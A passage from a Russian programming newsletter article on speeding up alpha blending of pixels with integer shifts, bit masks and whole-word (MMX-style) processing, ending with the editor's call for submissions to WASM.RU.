     long l1 = getColorComponent(pixel1, i);
     long l2 = getColorComponent(pixel2, i);
     l1 = ((l1 - l2)*alphaKey)/255 + l2;
     setColorComponent(pixel1, i, l1);
    }

Первое, на что необходимо обратить внимание – это расширение типа для цветовой компоненты с unsigned char до unsigned long (предполагается, что всё происходит на wintel-платформе). Если вы внимательно посмотрите на (1), то увидите, что при выполнении вычитания цветовых компонент может возникнуть переполнение, если вторая цветовая компонента окажется больше первой. Если мы не расширим тип, то часть данных будет утеряна и наложение будет выполнено неправильно. Второе – это, конечно же, замена простой конструкции (s1 – s2)*a на более сложную (s1 – s2)*a/255 и, соответственно, изменение диапазона альфа-ключа с 0<=a<=1 на 0<=a<=255. Это связанно с тем, что мы используем целочисленные вычисления. Конечно, эту строчку можно упростить и сделать в виде l1 = (((l1 – l2)*alphaKey)>>8) + l2. Изменение коэффициента нормировки на единицу на глаз заметно не будет. Дальше, если ввести ограничение, что альфа-ключ принимает значение а пределах 0<=a<=8, то можно вообще избавится от умножения и сделать следующее.

    unsigned nak = 8 – alphaKey;
    …
     l1 = ((l1 – l2)>>nak) + l2;
    …

Уже существенно лучше. Но, если вы примените этот метод, то будете разочарованы – это работает всё ещё медленно. Где узкое место? В тройном обращении к памяти - мы извлекаем компоненты поочерёдно. И, естественно, в приведении типов. Можно ли ускорить эту операцию? Да, можно, написав, например, всё на ассемблере, максимально использую регистры, уменьшив тем самым количество обращений к памяти. А можно сделать несколько иначе. Давайте ещё раз посмотрим на нашу оптимизированную формулу и уясним, что же мы должны сделать с каждой компонентой. Для этого раскроем скобки.

    s1[x][y][ck] = a*s1[x][y][ck] – а*s2[x][y][ck] + s2[x][y][ck],

или, в упрощённом варианте,

    l1 = (l1>>nak) – (l2>>nak) + l2;

Теперь немного поменяем порядок выполнения операций.

    l1 = (l1>>nak) + l2 – (l2>>nak);

Что у нас получилось? Во-первых, переполнение больше не может возникнуть, так как величина "l2 – (l2>>nak)" всегда больше либо равна нулю, а само выражение не выйдет за пределы отведённого количества бит (8-и бит для 24-х и 32-х битных режимов и 5-и бит для 15-ти и 16-ти битных). Во-вторых, так как переполнения больше нет, мы можем применить потоковую обработку для 32-х бит сразу, не выделяя отдельно цветовых компонент! Вот вам и увеличение скорости в три раза. Сделать это очень просто. Возьмём, для примера, 15-ти битный режим и посмотрим внимательно на то, как биты компонент расположены в слове (рис. 1).

0 r r r r r g g g g g b b b b b

Для того чтобы корректно выполнить сдвиговые операции, которые на самом деле являются простым делением, нам необходимо сначала прочистить данное слово маской, а потом выполнить сдвиг всего слова целиком. После чего мы можем выполнить оставшиеся операции сложения и вычитания целиком для всего слова, так как полученные значения гарантировано не выйдут за пределы значений, отданных на одну цветовую компоненту и, таким образом, не смогут испортить данные в соседних битах. На рис. 2 представлена ситуация для 15-ти битного режима и альфа-ключа равного шести.

0 r r r r r g g g g g b b b b b
AND alphaMask
0 1 1 1 0 0 1 1 1 0 0 1 1 1 0 0
=
0 r r r r r g g g g g b b b b b
>> (сдвиг на alphaShift)
0 0 0 r r r 0 0 g g g 0 0 b b b

А в коде это будет выглядеть следующем образом.

    unsigned long a1 = getPixel(1, 0, 0);
    unsigned long a2 = getPixel(2, 0, 0);

    a1 &= m_uAlphaMask;
    a1>>=m_uAlphaShift;
    a1 += a2 - ((a2α&alphaMask)>>alphaShift);
    setPixel(1, 0, 0, a1);

Где alphaMask является маской, которой необходимо прочистить двойное слово перед сдвигом, а alphaShift – собственно величиной сдвига. Собственно, реализация MMX использует тот же принцип, только по восемь байт за раз, а не по четыре.

Что ещё можно упростить? Можно разделить собственно альфа-блитинг и альфа-заполнение. Для альфа-заполнения можно ещё существеннее поднять скорость, так как мы избежим лишнего обращения к поверхности s2, плюс уменьшим количество вычислений. Или, более конкретно (предполагается, что fillColor задаётся в формате поверхности, которую будут заполнять).

s1[x][y][ck] = a*s1[x][y][ck] + nfillColor,

где nfillColor = s2[x][y][ck] – а*s2[x][y][ck] и вычисляется за циклом. Или

unsigned long a1 = getPixel(1, 0, 0);
unsigned long nfillColor = fillColor - ((fillColorα&alphaMask)>>alphaShift);

a1 &= m_uAlphaMask;
a1>>=m_uAlphaShift;
a1 += nfillColor;
setPixel(1, 0, 0, a1);
Те, кто любит изобретать велосипед, уже могут запускать свой любимый компилятор, ну а для остальных приведу несколько функций из моей графической библиотеки, которая, кроме всего прочего, занимается ещё и альфа-блитингом.

Прежде чем привести необходимый код, дам несколько пояснений относительно встречающихся там классов, исходный код которых не был включён в статью, так как к альфа-блитингу он никакого отношения не имеет. TVideoCard – основной класс видеокарты, который устанавливает необходимый видеорежим и, что более важно для нас, хранит данные о текущем формате пикселей, который можно получить с помощью метода TVideoCard::PixelFormat(). Что касается TPixelFormat, то там должно быть всё понятно из имён его полей. Дальше, TSurface, предоставляет следующие необходимые методы: Lock()/Unlock() для блокирования поверхности с целью получения прямого доступа к её данным и разблокирования соответственно, DataPtr() возвращает указатель на начало данных поверхности, FullRowLen() – полную длину одной строки поверхности, она может быть больше, чем длина умноженная на количество байт на один пиксел. Класс TRect – описывает прямоугольную область с помощью задания левой верхней точки (методы X(), Y()) и длины с шириной (методы W(), H()). приложении 1 находиться С++ реализация данного алгоритма, а в приложении 2 – ассемблерная (следует учесть, что ассемблерная реализация использует переменные, объявленные в С++ реализации, а разделение сделано только для наглядности). Есть правда два "но". Первое: я использую портированный gcc в качестве компилятора, поэтому ассемблерный код написан с использованием синтаксиса AT&T. Второе: никаких проверок функции не делают, всё что выходит за пределы четырёх (для С++ реализации) или восьми (для MMX реализации) байт просто игнорируют. Вот и всё, дальше – rtfs.

# Эпилог

Ну что ж, хорошего понемножку. Нужно что-то оставить на следующие выпуски. Отстаётся добавить – отныне как партнёр argc&argv, WASM.RU будет ждать от вас статьи, посвященные не только Assembler, но и другим тематикам программирования. Пишите Edmond@wasm.ru, да опубликованы будете :)).

Удачи вам!

Edmond / HI-TECH